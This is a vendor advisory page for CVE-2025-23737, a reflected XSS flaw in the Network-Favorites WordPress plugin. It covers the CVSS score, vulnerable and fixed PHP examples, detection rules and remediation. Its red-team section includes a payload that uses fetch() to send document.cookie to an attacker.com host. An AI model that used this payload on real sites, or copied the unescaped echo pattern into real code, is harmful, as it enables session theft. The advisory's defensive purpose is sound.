CVE-2025-23737
Executive Summary
CVE-2025-23737 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Network-Favorites by thobian, affecting all versions up to and including 1.1. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, given the plugin's presence in the WordPress ecosystem, the risk is elevated for sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify they are not running version 1.1 or earlier. No package manager (NPM, PyPI, Go, Ruby) is involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High due to the ease of exploitation and potential for session hijacking, though user interaction is required.
Deep Dive & Mechanics
The vulnerability exists in the network-favorites WordPress plugin. The plugin fails to properly sanitize or escape user-supplied input before reflecting it in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads in a query parameter (e.g., ?search=<script>alert(1)</script>). When a victim visits this URL, the injected script executes in their browser context, allowing the attacker to perform actions such as stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.
The root cause is the use of functions like echo $_GET['param'] without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()). This is a classic reflected XSS pattern.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is assumed to be:
Vulnerable Code (example):
<?php
$search = $_GET['search'];
echo "<div>You searched for: " . $search . "</div>";
?>
Patched Code (hypothetical):
<?php
$search = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
echo "<div>You searched for: " . esc_html($search) . "</div>";
?>
The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode output, preventing script injection.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with Network-Favorites plugin version <= 1.1.
- Ability to craft a malicious URL.
Exploitation Steps:
- Identify a vulnerable parameter (e.g.,
search,q, ors) in the plugin's URL. - Craft a payload:
http://target-site.com/?search=<script>alert(document.cookie)</script> - Send the link to a victim via phishing email or social engineering.
- When the victim clicks the link, the script executes, exfiltrating cookies or performing actions.
Example Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defender)
Detection:
- Monitor web server logs for unusual query parameters containing
<script>,onerror=, orjavascript:. - Use WAF rules to block reflected XSS patterns.
- Deploy Content Security Policy (CSP) headers to mitigate impact.
Mitigation:
- Disable or remove the plugin until a patch is available.
- Implement input validation and output encoding in custom code.
- Use WordPress security plugins (e.g., Wordfence) to block malicious requests.
Indicators of Compromise (IOCs)
- URL Patterns:
?search=<script>,?q=javascript:,?s=onerror= - HTTP Referer: Suspicious referers from phishing campaigns.
- Log Entries:
GET /?search=<script>alert(1)</script>with 200 response. - Network Traffic: Outbound connections to attacker-controlled domains from victim's browser.
Detection Engineering
YARA Rule
rule CVE_2025_23737_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Network-Favorites plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-23737"
strings:
$xss1 = /[?&](search|q|s)=.*<script/i
$xss2 = /[?&](search|q|s)=.*onerror=/i
$xss3 = /[?&](search|q|s)=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against Network-Favorites Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-23737
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-method: GET
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of script tags in search (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-23737 Reflected XSS Attempt"; flow:to_server; content:"GET"; http_method; content:"?search="; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Network-Favorites plugin until a patch is released.
- Long-term Fix: Apply input validation and output escaping in all plugin code. Use WordPress functions like
esc_html(),esc_attr(), andsanitize_text_field(). - WAF Rules: Deploy web application firewall rules to block reflected XSS patterns.
- CSP Header: Implement Content Security Policy to restrict script execution.
- User Education: Train users to avoid clicking suspicious links.
- Monitor: Continuously monitor logs for exploitation attempts.
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.